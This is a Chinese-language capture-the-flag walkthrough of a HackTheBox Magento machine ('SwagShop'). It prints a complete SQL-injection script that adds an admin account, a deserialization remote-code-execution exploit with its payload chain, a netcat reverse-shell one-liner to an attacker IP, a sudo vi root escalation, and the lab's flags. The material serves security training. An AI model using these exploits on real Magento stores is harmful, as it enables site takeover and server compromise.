Magento安全漏洞利用与权限提升实战指南

1. 信息收集阶段

1.1 初始扫描

• 目标IP: 10.10.10.140
• 开放端口:
  • 22/tcp: OpenSSH 7.6p1 Ubuntu
  • 80/tcp: Apache httpd 2.4.29 (Ubuntu)

nmap -p- 10.10.10.140 --min-rate 1000 -sC -sV -Pn

1.2 Web服务识别

• 网站重定向到: http://swagshop.htb/
• 添加hosts记录:

echo '10.10.10.140 swagshop.htb' >> /etc/hosts

1.3 Magento扫描

使用MageScan工具扫描Magento信息:

wget https://github.com/steverobbins/magescan/releases/download/v1.12.9/magescan.phar
php magescan.phar scan:all http://swagshop.htb/

2. SQL注入攻击

2.1 漏洞利用原理

• 利用Magento的Cms_Wysiwyg/directive/index端点SQL注入漏洞
• 通过注入创建管理员账户

2.2 利用脚本

import requests
import base64
import sys

target = sys.argv[1]
if not target.startswith("http"):
    target = "http://" + target
if target.endswith("/"):
    target = target[:-1]

target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"

SQLQUERY="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""

query = SQLQUERY.replace("\n", "").format(username="ypwq", password="123")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

r = requests.post(target_url, 
    data={
        "___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
        "filter": base64.b64encode(pfilter),
        "forwarded": 1
    })

if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds ypwq:123".format(target)
else:
    print "DID NOT WORK"

2.3 执行方法

python2 exp.py http://10.10.10.140

3. Magento反序列化RCE

3.1 漏洞利用准备

searchsploit magento
searchsploit -m php/webapps/37811.py

3.2 利用脚本分析

#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
from hashlib import md5
import sys
import re
import base64
import mechanize

# 配置参数
username = 'ypwq'
password = '123'
php_function = 'system'
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # 必须与/app/etc/local.xml中的日期一致

# POP链构造
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \ 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \ 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \ '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \ ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function, len(arg), arg)

# 执行流程
br = mechanize.Browser()
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br['login[username]'] = username
br['login[password]'] = password
br.method = "POST"
request = br.submit()
content = request.read()

# 获取关键参数
url = re.search("ajaxBlockUrl", content).group(1)
key = re.search("var FORM_KEY", content).group(1)

# 触发漏洞
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
request = br.open(exploit)

3.3 执行方法

pip2 install mechanize
python2 37811.py 'http://swagshop.htb/index.php/admin' "ls /"

3.4 获取反向Shell

python2 37811.py 'http://swagshop.htb/index.php/admin' "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.18 10032 >/tmp/f"

4. 权限提升

4.1 检查sudo权限

sudo -l

4.2 利用vi提权

sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null

4.3 获取flag

• 用户flag: fb745498d888a0f78d1e16ae4a2c7279
• rootflag: e1883ff4c774c0a0c204372af19eed26

5. 关键点总结

1. SQL注入:

   • 利用Magento特定端点的注入漏洞创建管理员账户
   • 需要构造特定的SQL查询并通过base64编码传递

2. 反序列化RCE:

   • 需要有效的管理员凭据
   • 依赖Magento的POP链构造
   • 必须准确获取install_date参数

3. 权限提升:

   • 利用vi的sudo权限执行命令
   • 通过vi的command模式执行shell

4. 防御建议:

   • 及时更新Magento到最新版本
   • 限制admin界面的访问
   • 监控可疑的SQL查询和文件操作
   • 最小化sudo权限分配